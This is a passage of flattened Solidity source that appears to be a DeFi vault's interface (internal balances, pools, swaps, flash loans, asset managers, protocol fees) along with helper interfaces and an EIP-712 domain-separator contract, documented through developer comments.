/**
* @dev Emitted every time a relayer is approved or disapproved by `setRelayerApproval`.
*/
event RelayerApprovalChanged(address indexed relayer, address indexed sender, bool approved);
// Internal Balance
//
// Users can deposit tokens into the Vault, where they are allocated to their Internal Balance, and later
// transferred or withdrawn. It can also be used as a source of tokens when joining Pools, as a destination
// when exiting them, and as either when performing swaps. This usage of Internal Balance results in greatly reduced
// gas costs when compared to relying on plain ERC20 transfers, leading to large savings for frequent users.
//
// Internal Balance management features batching, which means a single contract call can be used to perform multiple
// operations of different kinds, with different senders and recipients, at once.
/**
* @dev Returns `user`'s Internal Balance for a set of tokens.
*/
function getInternalBalance(address user, IERC20[] memory tokens) external view returns (uint256[] memory);
/**
* @dev Performs a set of user balance operations, which involve Internal Balance (deposit, withdraw or transfer)
* and plain ERC20 transfers using the Vault's allowance. This last feature is particularly useful for relayers, as
* it lets integrators reuse a user's Vault allowance.
*
* For each operation, if the caller is not `sender`, it must be an authorized relayer for them.
*/
function manageUserBalance(UserBalanceOp[] memory ops) external payable;
/**
* @dev Data for `manageUserBalance` operations, which include the possibility for ETH to be sent and received
without manual WETH wrapping or unwrapping.
*/
struct UserBalanceOp {
UserBalanceOpKind kind;
IAsset asset;
uint256 amount;
address sender;
address payable recipient;
}
// There are four possible operations in `manageUserBalance`:
//
// - DEPOSIT_INTERNAL
// Increases the Internal Balance of the `recipient` account by transferring tokens from the corresponding
// `sender`. The sender must have allowed the Vault to use their tokens via `IERC20.approve()`.
//
// ETH can be used by passing the ETH sentinel value as the asset and forwarding ETH in the call: it will be wrapped
// and deposited as WETH. Any ETH amount remaining will be sent back to the caller (not the sender, which is
// relevant for relayers).
//
// Emits an `InternalBalanceChanged` event.
//
//
// - WITHDRAW_INTERNAL
// Decreases the Internal Balance of the `sender` account by transferring tokens to the `recipient`.
//
// ETH can be used by passing the ETH sentinel value as the asset. This will deduct WETH instead, unwrap it and send
// it to the recipient as ETH.
//
// Emits an `InternalBalanceChanged` event.
//
//
// - TRANSFER_INTERNAL
// Transfers tokens from the Internal Balance of the `sender` account to the Internal Balance of `recipient`.
//
// Reverts if the ETH sentinel value is passed.
//
// Emits an `InternalBalanceChanged` event.
//
//
// - TRANSFER_EXTERNAL
// Transfers tokens from `sender` to `recipient`, using the Vault's ERC20 allowance. This is typically used by
// relayers, as it lets them reuse a user's Vault allowance.
//
// Reverts if the ETH sentinel value is passed.
//
// Emits an `ExternalBalanceTransfer` event.
enum UserBalanceOpKind { DEPOSIT_INTERNAL, WITHDRAW_INTERNAL, TRANSFER_INTERNAL, TRANSFER_EXTERNAL }
/**
* @dev Emitted when a user's Internal Balance changes, either from calls to `manageUserBalance`, or through
* interacting with Pools using Internal Balance.
*
* Because Internal Balance works exclusively with ERC20 tokens, ETH deposits and withdrawals will use the WETH
* address.
*/
event InternalBalanceChanged(address indexed user, IERC20 indexed token, int256 delta);
/**
* @dev Emitted when a user's Vault ERC20 allowance is used by the Vault to transfer tokens to an external account.
*/
event ExternalBalanceTransfer(IERC20 indexed token, address indexed sender, address recipient, uint256 amount);
// Pools
//
// There are three specialization settings for Pools, which allow for cheaper swaps at the cost of reduced
// functionality:
//
// - General: no specialization, suited for all Pools. IGeneralPool is used for swap request callbacks, passing the
// balance of all tokens in the Pool. These Pools have the largest swap costs (because of the extra storage reads),
// which increase with the number of registered tokens.
//
// - Minimal Swap Info: IMinimalSwapInfoPool is used instead of IGeneralPool, which saves gas by only passing the
// balance of the two tokens involved in the swap. This is suitable for some pricing algorithms, like the weighted
// constant product one popularized by Balancer V1. Swap costs are smaller compared to general Pools, and are
// independent of the number of registered tokens.
//
// - Two Token: only allows two tokens to be registered. This achieves the lowest possible swap gas cost. Like
// minimal swap info Pools, these are called via IMinimalSwapInfoPool.
enum PoolSpecialization { GENERAL, MINIMAL_SWAP_INFO, TWO_TOKEN }
/**
* @dev Registers the caller account as a Pool with a given specialization setting. Returns the Pool's ID, which
* is used in all Pool-related functions. Pools cannot be deregistered, nor can the Pool's specialization be
* changed.
*
* The caller is expected to be a smart contract that implements either `IGeneralPool` or `IMinimalSwapInfoPool`,
* depending on the chosen specialization setting. This contract is known as the Pool's contract.
*
* Note that the same contract may register itself as multiple Pools with unique Pool IDs, or in other words,
* multiple Pools may share the same contract.
*
* Emits a `PoolRegistered` event.
*/
function registerPool(PoolSpecialization specialization) external returns (bytes32);
/**
* @dev Emitted when a Pool is registered by calling `registerPool`.
*/
event PoolRegistered(bytes32 indexed poolId, address indexed poolAddress, PoolSpecialization specialization);
/**
* @dev Returns a Pool's contract address and specialization setting.
*/
function getPool(bytes32 poolId) external view returns (address, PoolSpecialization);
/**
* @dev Registers `tokens` for the `poolId` Pool. Must be called by the Pool's contract.
*
* Pools can only interact with tokens they have registered. Users join a Pool by transferring registered tokens,
* exit by receiving registered tokens, and can only swap registered tokens.
*
* Each token can only be registered once. For Pools with the Two Token specialization, `tokens` must have a length
* of two, that is, both tokens must be registered in the same `registerTokens` call, and they must be sorted in
* ascending order.
*
* The `tokens` and `assetManagers` arrays must have the same length, and each entry in these indicates the Asset
* Manager for the corresponding token. Asset Managers can manage a Pool's tokens via `managePoolBalance`,
* depositing and withdrawing them directly, and can even set their balance to arbitrary amounts. They are therefore
* expected to be highly secured smart contracts with sound design principles, and the decision to register an
* Asset Manager should not be made lightly.
*
* Pools can choose not to assign an Asset Manager to a given token by passing in the zero address. Once an Asset
* Manager is set, it cannot be changed except by deregistering the associated token and registering again with a
* different Asset Manager.
*
* Emits a `TokensRegistered` event.
*/
function registerTokens(
bytes32 poolId,
IERC20[] memory tokens,
address[] memory assetManagers
) external;
/**
* @dev Emitted when a Pool registers tokens by calling `registerTokens`.
*/
event TokensRegistered(bytes32 indexed poolId, IERC20[] tokens, address[] assetManagers);
/**
* @dev Deregisters `tokens` for the `poolId` Pool. Must be called by the Pool's contract.
*
* Only registered tokens (via `registerTokens`) can be deregistered. Additionally, they must have zero total
* balance. For Pools with the Two Token specialization, `tokens` must have a length of two, that is, both tokens
* must be deregistered in the same `deregisterTokens` call.
*
* A deregistered token can be re-registered later on, possibly with a different Asset Manager.
*
* Emits a `TokensDeregistered` event.
*/
function deregisterTokens(bytes32 poolId, IERC20[] memory tokens) external;
/**
* @dev Emitted when a Pool deregisters tokens by calling `deregisterTokens`.
*/
event TokensDeregistered(bytes32 indexed poolId, IERC20[] tokens);
/**
* @dev Returns detailed information for a Pool's registered token.
*
* `cash` is the number of tokens the Vault currently holds for the Pool. `managed` is the number of tokens
* withdrawn and held outside the Vault by the Pool's token Asset Manager. The Pool's total balance for `token`
* equals the sum of `cash` and `managed`.
*
* Internally, `cash` and `managed` are stored using 112 bits. No action can ever cause a Pool's token `cash`,
* `managed` or `total` balance to be greater than 2^112 - 1.
*
* `lastChangeBlock` is the number of the block in which `token`'s total balance was last modified (via either a
* join, exit, swap, or Asset Manager update). This value is useful to avoid so-called 'sandwich attacks', for
* example when developing price oracles. A change of zero (e.g. caused by a swap with amount zero) is considered a
* change for this purpose, and will update `lastChangeBlock`.
*
* `assetManager` is the Pool's token Asset Manager.
*/
function getPoolTokenInfo(bytes32 poolId, IERC20 token)
external
view
returns (
uint256 cash,
uint256 managed,
uint256 lastChangeBlock,
address assetManager
);
/**
* @dev Returns a Pool's registered tokens, the total balance for each, and the latest block when *any* of
* the tokens' `balances` changed.
*
* The order of the `tokens` array is the same order that will be used in `joinPool`, `exitPool`, as well as in all
* Pool hooks (where applicable). Calls to `registerTokens` and `deregisterTokens` may change this order.
*
* If a Pool only registers tokens once, and these are sorted in ascending order, they will be stored in the same
* order as passed to `registerTokens`.
*
* Total balances include both tokens held by the Vault and those withdrawn by the Pool's Asset Managers. These are
* the amounts used by joins, exits and swaps. For a detailed breakdown of token balances, use `getPoolTokenInfo`
* instead.
*/
function getPoolTokens(bytes32 poolId)
external
view
returns (
IERC20[] memory tokens,
uint256[] memory balances,
uint256 lastChangeBlock
);
/**
* @dev Called by users to join a Pool, which transfers tokens from `sender` into the Pool's balance. This will
* trigger custom Pool behavior, which will typically grant something in return to `recipient` - often tokenized
* Pool shares.
*
* If the caller is not `sender`, it must be an authorized relayer for them.
*
* The `assets` and `maxAmountsIn` arrays must have the same length, and each entry indicates the maximum amount
* to send for each asset. The amounts to send are decided by the Pool and not the Vault: it just enforces
* these maximums.
*
* If joining a Pool that holds WETH, it is possible to send ETH directly: the Vault will do the wrapping. To enable
* this mechanism, the IAsset sentinel value (the zero address) must be passed in the `assets` array instead of the
* WETH address. Note that it is not possible to combine ETH and WETH in the same join. Any excess ETH will be sent
* back to the caller (not the sender, which is important for relayers).
*
* `assets` must have the same length and order as the array returned by `getPoolTokens`. This prevents issues when
* interacting with Pools that register and deregister tokens frequently. If sending ETH however, the array must be
* sorted *before* replacing the WETH address with the ETH sentinel value (the zero address), which means the final
* `assets` array might not be sorted. Pools with no registered tokens cannot be joined.
*
* If `fromInternalBalance` is true, the caller's Internal Balance will be preferred: ERC20 transfers will only
* be made for the difference between the requested amount and Internal Balance (if any). Note that ETH cannot be
* withdrawn from Internal Balance: attempting to do so will trigger a revert.
*
* This causes the Vault to call the `IBasePool.onJoinPool` hook on the Pool's contract, where Pools implement
* their own custom logic. This typically requires additional information from the user (such as the expected number
* of Pool shares). This can be encoded in the `userData` argument, which is ignored by the Vault and passed
* directly to the Pool's contract, as is `recipient`.
*
* Emits a `PoolBalanceChanged` event.
*/
function joinPool(
bytes32 poolId,
address sender,
address recipient,
JoinPoolRequest memory request
) external payable;
struct JoinPoolRequest {
IAsset[] assets;
uint256[] maxAmountsIn;
bytes userData;
bool fromInternalBalance;
}
/**
* @dev Called by users to exit a Pool, which transfers tokens from the Pool's balance to `recipient`. This will
* trigger custom Pool behavior, which will typically ask for something in return from `sender` - often tokenized
* Pool shares. The amount of tokens that can be withdrawn is limited by the Pool's `cash` balance (see
* `getPoolTokenInfo`).
*
* If the caller is not `sender`, it must be an authorized relayer for them.
*
* The `tokens` and `minAmountsOut` arrays must have the same length, and each entry in these indicates the minimum
* token amount to receive for each token contract. The amounts to send are decided by the Pool and not the Vault:
* it just enforces these minimums.
*
* If exiting a Pool that holds WETH, it is possible to receive ETH directly: the Vault will do the unwrapping. To
* enable this mechanism, the IAsset sentinel value (the zero address) must be passed in the `assets` array instead
* of the WETH address. Note that it is not possible to combine ETH and WETH in the same exit.
*
* `assets` must have the same length and order as the array returned by `getPoolTokens`. This prevents issues when
* interacting with Pools that register and deregister tokens frequently. If receiving ETH however, the array must
* be sorted *before* replacing the WETH address with the ETH sentinel value (the zero address), which means the
* final `assets` array might not be sorted. Pools with no registered tokens cannot be exited.
*
* If `toInternalBalance` is true, the tokens will be deposited to `recipient`'s Internal Balance. Otherwise,
* an ERC20 transfer will be performed. Note that ETH cannot be deposited to Internal Balance: attempting to
* do so will trigger a revert.
*
* `minAmountsOut` is the minimum amount of tokens the user expects to get out of the Pool, for each token in the
* `tokens` array. This array must match the Pool's registered tokens.
*
* This causes the Vault to call the `IBasePool.onExitPool` hook on the Pool's contract, where Pools implement
* their own custom logic. This typically requires additional information from the user (such as the expected number
* of Pool shares to return). This can be encoded in the `userData` argument, which is ignored by the Vault and
* passed directly to the Pool's contract.
*
* Emits a `PoolBalanceChanged` event.
*/
function exitPool(
bytes32 poolId,
address sender,
address payable recipient,
ExitPoolRequest memory request
) external;
struct ExitPoolRequest {
IAsset[] assets;
uint256[] minAmountsOut;
bytes userData;
bool toInternalBalance;
}
/**
* @dev Emitted when a user joins or exits a Pool by calling `joinPool` or `exitPool`, respectively.
*/
event PoolBalanceChanged(
bytes32 indexed poolId,
address indexed liquidityProvider,
IERC20[] tokens,
int256[] deltas,
uint256[] protocolFeeAmounts
);
enum PoolBalanceChangeKind { JOIN, EXIT }
// Swaps
//
// Users can swap tokens with Pools by calling the `swap` and `batchSwap` functions. To do this,
// they need not trust Pool contracts in any way: all security checks are made by the Vault. They must however be
// aware of the Pools' pricing algorithms in order to estimate the prices Pools will quote.
//
// The `swap` function executes a single swap, while `batchSwap` can perform multiple swaps in sequence.
// In each individual swap, tokens of one kind are sent from the sender to the Pool (this is the 'token in'),
// and tokens of another kind are sent from the Pool to the recipient in exchange (this is the 'token out').
// More complex swaps, such as one token in to multiple tokens out can be achieved by batching together
// individual swaps.
//
// There are two swap kinds:
// - 'given in' swaps, where the amount of tokens in (sent to the Pool) is known, and the Pool determines (via the
// `onSwap` hook) the amount of tokens out (to send to the recipient).
// - 'given out' swaps, where the amount of tokens out (received from the Pool) is known, and the Pool determines
// (via the `onSwap` hook) the amount of tokens in (to receive from the sender).
//
// Additionally, it is possible to chain swaps using a placeholder input amount, which the Vault replaces with
// the calculated output of the previous swap. If the previous swap was 'given in', this will be the calculated
// tokenOut amount. If the previous swap was 'given out', it will use the calculated tokenIn amount. These extended
// swaps are known as 'multihop' swaps, since they 'hop' through a number of intermediate tokens before arriving at
// the final intended token.
//
// In all cases, tokens are only transferred in and out of the Vault (or withdrawn from and deposited into Internal
// Balance) after all individual swaps have been completed, and the net token balance change computed. This makes
// certain swap patterns, such as multihops, or swaps that interact with the same token pair in multiple Pools, cost
// much less gas than they would otherwise.
//
// It also means that under certain conditions it is possible to perform arbitrage by swapping with multiple
// Pools in a way that results in net token movement out of the Vault (profit), with no tokens being sent in (only
// updating the Pool's internal accounting).
//
// To protect users from front-running or the market changing rapidly, they supply a list of 'limits' for each token
// involved in the swap, where either the maximum number of tokens to send (by passing a positive value) or the
// minimum amount of tokens to receive (by passing a negative value) is specified.
//
// Additionally, a 'deadline' timestamp can also be provided, forcing the swap to fail if it occurs after
// this point in time (e.g. if the transaction failed to be included in a block promptly).
//
// If interacting with Pools that hold WETH, it is possible to both send and receive ETH directly: the Vault will do
// the wrapping and unwrapping. To enable this mechanism, the IAsset sentinel value (the zero address) must be
// passed in the `assets` array instead of the WETH address. Note that it is possible to combine ETH and WETH in the
// same swap. Any excess ETH will be sent back to the caller (not the sender, which is relevant for relayers).
//
// Finally, Internal Balance can be used when either sending or receiving tokens.
enum SwapKind { GIVEN_IN, GIVEN_OUT }
/**
* @dev Performs a swap with a single Pool.
*
* If the swap is 'given in' (the number of tokens to send to the Pool is known), it returns the amount of tokens
* taken from the Pool, which must be greater than or equal to `limit`.
*
* If the swap is 'given out' (the number of tokens to take from the Pool is known), it returns the amount of tokens
* sent to the Pool, which must be less than or equal to `limit`.
*
* Internal Balance usage and the recipient are determined by the `funds` struct.
*
* Emits a `Swap` event.
*/
function swap(
SingleSwap memory singleSwap,
FundManagement memory funds,
uint256 limit,
uint256 deadline
) external payable returns (uint256);
/**
* @dev Data for a single swap executed by `swap`. `amount` is either `amountIn` or `amountOut` depending on
* the `kind` value.
*
* `assetIn` and `assetOut` are either token addresses, or the IAsset sentinel value for ETH (the zero address).
* Note that Pools never interact with ETH directly: it will be wrapped to or unwrapped from WETH by the Vault.
*
* The `userData` field is ignored by the Vault, but forwarded to the Pool in the `onSwap` hook, and may be
* used to extend swap behavior.
*/
struct SingleSwap {
bytes32 poolId;
SwapKind kind;
IAsset assetIn;
IAsset assetOut;
uint256 amount;
bytes userData;
}
/**
* @dev Performs a series of swaps with one or multiple Pools. In each individual swap, the caller determines either
* the amount of tokens sent to or received from the Pool, depending on the `kind` value.
*
* Returns an array with the net Vault asset balance deltas. Positive amounts represent tokens (or ETH) sent to the
* Vault, and negative amounts represent tokens (or ETH) sent by the Vault. Each delta corresponds to the asset at
* the same index in the `assets` array.
*
* Swaps are executed sequentially, in the order specified by the `swaps` array. Each array element describes a
* Pool, the token to be sent to this Pool, the token to receive from it, and an amount that is either `amountIn` or
* `amountOut` depending on the swap kind.
*
* Multihop swaps can be executed by passing an `amount` value of zero for a swap. This will cause the amount in/out
* of the previous swap to be used as the amount in for the current one. In a 'given in' swap, 'tokenIn' must equal
* the previous swap's `tokenOut`. For a 'given out' swap, `tokenOut` must equal the previous swap's `tokenIn`.
*
* The `assets` array contains the addresses of all assets involved in the swaps. These are either token addresses,
* or the IAsset sentinel value for ETH (the zero address). Each entry in the `swaps` array specifies tokens in and
* out by referencing an index in `assets`. Note that Pools never interact with ETH directly: it will be wrapped to
* or unwrapped from WETH by the Vault.
*
* Internal Balance usage, sender, and recipient are determined by the `funds` struct. The `limits` array specifies
* the minimum or maximum amount of each token the vault is allowed to transfer.
*
* `batchSwap` can be used to make a single swap, like `swap` does, but doing so requires more gas than the
* equivalent `swap` call.
*
* Emits `Swap` events.
*/
function batchSwap(
SwapKind kind,
BatchSwapStep[] memory swaps,
IAsset[] memory assets,
FundManagement memory funds,
int256[] memory limits,
uint256 deadline
) external payable returns (int256[] memory);
/**
* @dev Data for each individual swap executed by `batchSwap`. The asset in and out fields are indexes into the
* `assets` array passed to that function, and ETH assets are converted to WETH.
*
* If `amount` is zero, the multihop mechanism is used to determine the actual amount based on the amount in/out
* from the previous swap, depending on the swap kind.
*
* The `userData` field is ignored by the Vault, but forwarded to the Pool in the `onSwap` hook, and may be
* used to extend swap behavior.
*/
struct BatchSwapStep {
bytes32 poolId;
uint256 assetInIndex;
uint256 assetOutIndex;
uint256 amount;
bytes userData;
}
/**
* @dev Emitted for each individual swap performed by `swap` or `batchSwap`.
*/
event Swap(
bytes32 indexed poolId,
IERC20 indexed tokenIn,
IERC20 indexed tokenOut,
uint256 amountIn,
uint256 amountOut
);
/**
* @dev All tokens in a swap are either sent from the `sender` account to the Vault, or from the Vault to the
* `recipient` account.
*
* If the caller is not `sender`, it must be an authorized relayer for them.
*
* If `fromInternalBalance` is true, the `sender`'s Internal Balance will be preferred, performing an ERC20
* transfer for the difference between the requested amount and the User's Internal Balance (if any). The `sender`
* must have allowed the Vault to use their tokens via `IERC20.approve()`. This matches the behavior of
* `joinPool`.
*
* If `toInternalBalance` is true, tokens will be deposited to `recipient`'s internal balance instead of
* transferred. This matches the behavior of `exitPool`.
*
* Note that ETH cannot be deposited to or withdrawn from Internal Balance: attempting to do so will trigger a
* revert.
*/
struct FundManagement {
address sender;
bool fromInternalBalance;
address payable recipient;
bool toInternalBalance;
}
/**
* @dev Simulates a call to `batchSwap`, returning an array of Vault asset deltas. Calls to `swap` cannot be
* simulated directly, but an equivalent `batchSwap` call can and will yield the exact same result.
*
* Each element in the array corresponds to the asset at the same index, and indicates the number of tokens (or ETH)
* the Vault would take from the sender (if positive) or send to the recipient (if negative). The arguments it
* receives are the same that an equivalent `batchSwap` call would receive.
*
* Unlike `batchSwap`, this function performs no checks on the sender or recipient field in the `funds` struct.
* This makes it suitable to be called by off-chain applications via eth_call without needing to hold tokens,
* approve them for the Vault, or even know a user's address.
*
* Note that this function is not 'view' (due to implementation details): the client code must explicitly execute
* eth_call instead of eth_sendTransaction.
*/
function queryBatchSwap(
SwapKind kind,
BatchSwapStep[] memory swaps,
IAsset[] memory assets,
FundManagement memory funds
) external returns (int256[] memory assetDeltas);
// Flash Loans
/**
* @dev Performs a 'flash loan', sending tokens to `recipient`, executing the `receiveFlashLoan` hook on it,
* and then reverting unless the tokens plus a proportional protocol fee have been returned.
*
* The `tokens` and `amounts` arrays must have the same length, and each entry in these indicates the loan amount
* for each token contract. `tokens` must be sorted in ascending order.
*
* The 'userData' field is ignored by the Vault, and forwarded as-is to `recipient` as part of the
* `receiveFlashLoan` call.
*
* Emits `FlashLoan` events.
*/
function flashLoan(
IFlashLoanRecipient recipient,
IERC20[] memory tokens,
uint256[] memory amounts,
bytes memory userData
) external;
/**
* @dev Emitted for each individual flash loan performed by `flashLoan`.
*/
event FlashLoan(IFlashLoanRecipient indexed recipient, IERC20 indexed token, uint256 amount, uint256 feeAmount);
// Asset Management
//
// Each token registered for a Pool can be assigned an Asset Manager, which is able to freely withdraw the Pool's
// tokens from the Vault, deposit them, or assign arbitrary values to its `managed` balance (see
// `getPoolTokenInfo`). This makes them extremely powerful and dangerous. Even if an Asset Manager only directly
// controls one of the tokens in a Pool, a malicious manager could set that token's balance to manipulate the
// prices of the other tokens, and then drain the Pool with swaps. The risk of using Asset Managers is therefore
// not constrained to the tokens they are managing, but extends to the entire Pool's holdings.
//
// However, a properly designed Asset Manager smart contract can be safely used for the Pool's benefit,
// for example by lending unused tokens out for interest, or using them to participate in voting protocols.
//
// This concept is unrelated to the IAsset interface.
/**
* @dev Performs a set of Pool balance operations, which may be either withdrawals, deposits or updates.
*
* Pool Balance management features batching, which means a single contract call can be used to perform multiple
* operations of different kinds, with different Pools and tokens, at once.
*
* For each operation, the caller must be registered as the Asset Manager for `token` in `poolId`.
*/
function managePoolBalance(PoolBalanceOp[] memory ops) external;
struct PoolBalanceOp {
PoolBalanceOpKind kind;
bytes32 poolId;
IERC20 token;
uint256 amount;
}
/**
* Withdrawals decrease the Pool's cash, but increase its managed balance, leaving the total balance unchanged.
*
* Deposits increase the Pool's cash, but decrease its managed balance, leaving the total balance unchanged.
*
* Updates don't affect the Pool's cash balance, but because the managed balance changes, it does alter the total.
* The external amount can be either increased or decreased by this call (i.e., reporting a gain or a loss).
*/
enum PoolBalanceOpKind { WITHDRAW, DEPOSIT, UPDATE }
/**
* @dev Emitted when a Pool's token Asset Manager alters its balance via `managePoolBalance`.
*/
event PoolBalanceManaged(
bytes32 indexed poolId,
address indexed assetManager,
IERC20 indexed token,
int256 cashDelta,
int256 managedDelta
);
// Protocol Fees
//
// Some operations cause the Vault to collect tokens in the form of protocol fees, which can then be withdrawn by
// permissioned accounts.
//
// There are two kinds of protocol fees:
//
// - flash loan fees: charged on all flash loans, as a percentage of the amounts lent.
//
// - swap fees: a percentage of the fees charged by Pools when performing swaps. For a number of reasons, including
// swap gas costs and interface simplicity, protocol swap fees are not charged on each individual swap. Rather,
// Pools are expected to keep track of how much they have charged in swap fees, and pay any outstanding debts to the
// Vault when they are joined or exited. This prevents users from joining a Pool with unpaid debt, as well as
// exiting a Pool in debt without first paying their share.
/**
* @dev Returns the current protocol fee module.
*/
function getProtocolFeesCollector() external view returns (ProtocolFeesCollector);
/**
* @dev Safety mechanism to pause most Vault operations in the event of an emergency - typically detection of an
* error in some part of the system.
*
* The Vault can only be paused during an initial time period, after which pausing is forever disabled.
*
* While the contract is paused, the following features are disabled:
* - depositing and transferring internal balance
* - transferring external balance (using the Vault's allowance)
* - swaps
* - joining Pools
* - Asset Manager interactions
*
* Internal Balance can still be withdrawn, and Pools exited.
*/
function setPaused(bool paused) external;
/**
* @dev Returns the Vault's WETH instance.
*/
function WETH() external view returns (IWETH);
// solhint-disable-previous-line func-name-mixedcase
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
interface IAuthentication {
/**
* @dev Returns the action identifier associated with the external function described by `selector`.
*/
function getActionId(bytes4 selector) external view returns (bytes32);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
/**
* @dev Interface for the TemporarilyPausable helper.
*/
interface ITemporarilyPausable {
/**
* @dev Emitted every time the pause state changes by `_setPaused`.
*/
event PausedStateChanged(bool paused);
/**
* @dev Returns the current paused state.
*/
function getPausedState()
external
view
returns (
bool paused,
uint256 pauseWindowEndTime,
uint256 bufferPeriodEndTime
);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
/**
* @dev Interface for the SignatureValidator helper, used to support meta-transactions.
*/
interface ISignaturesValidator {
/**
* @dev Returns the EIP712 domain separator.
*/
function getDomainSeparator() external view returns (bytes32);
/**
* @dev Returns the next nonce used by an address to sign messages.
*/
function getNextNonce(address user) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
*
* The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,
* thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding
* they need in their contracts using a combination of `abi.encode` and `keccak256`.
*
* This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
* scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
* ({_hashTypedDataV4}).
*
* The implementation of the domain separator was designed to be as efficient as possible while still properly updating
* the chain id to protect against replay attacks on an eventual fork of the chain.
*
* NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
* https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
*
* _Available since v3.4._
*/
abstract contract EIP712 {
/* solhint-disable var-name-mixedcase */
bytes32 private immutable _HASHED_NAME;
bytes32 private immutable _HASHED_VERSION;
bytes32 private immutable _TYPE_HASH;
/* solhint-enable var-name-mixedcase */
/**
* @dev Initializes the domain separator and parameter caches.
*
* The meaning of `name` and `version` is specified in
* https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:
*
* - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.
* - `version`: the current major version of the signing domain.
*
* NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart
* contract upgrade].
*/
constructor(string memory name, string memory version) {
_HASHED_NAME = keccak256(bytes(name));
_HASHED_VERSION = keccak256(bytes(version));
_TYPE_HASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
}
/**
* @dev Returns the domain separator for the current chain.
*/
function _domainSeparatorV4() internal view virtual returns (bytes32) {
return keccak256(abi.encode(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION, _getChainId(), address(this)));
}
/**
* @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
* function returns the hash of the fully encoded EIP712 message for this domain.
*
* This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
*
* ```solidity
* bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
* keccak256("Mail(address to,string contents)"),
* mailTo,
* keccak256(bytes(mailContents))
* )));
* address signer = ECDSA.recover(digest, signature);
* ```
*/
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", _domainSeparatorV4(), structHash));
}
function _getChainId() private view returns (uint256 chainId) {
// Silence state mutability warning without generating bytecode.
// See https://github.com/ethereum/solidity/issues/10090#issuecomment-741789128 and
// https://github.com/ethereum/solidity/issues/2691
this;
// solhint-disable-next-line no-inline-assembly
assembly {
chainId := chainid()
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
/**
* @dev This is an empty interface used to represent either ERC20-conforming token contracts or ETH (using the zero
* address sentinel value). We're just relying on the fact that `interface` can be used to declare new address-like
* types.
*
* This concept is unrelated to a Pool's Asset Managers.
*/
interface IAsset {
// solhint-disable-previous-line no-empty-blocks
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
// Inspired by Aave Protocol's IFlashLoanReceiver.
import "../../lib/openzeppelin/IERC20.sol";
interface IFlashLoanRecipient {
/**
* @dev When `flashLoan` is called on the Vault, it invokes the `receiveFlashLoan` hook on the recipient.
*
* At the time of the call, the Vault will have transferred `amounts` for `tokens` to the recipient. Before this
* call returns, the recipient must have transferred `amounts` plus `feeAmounts` for each token back to the
* Vault, or else the entire flash loan will revert.
*
* `userData` is the same value passed in the `IVault.flashLoan` call.
*/
function receiveFlashLoan(
IERC20[] memory tokens,
uint256[] memory amounts,
uint256[] memory feeAmounts,
bytes memory userData
) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
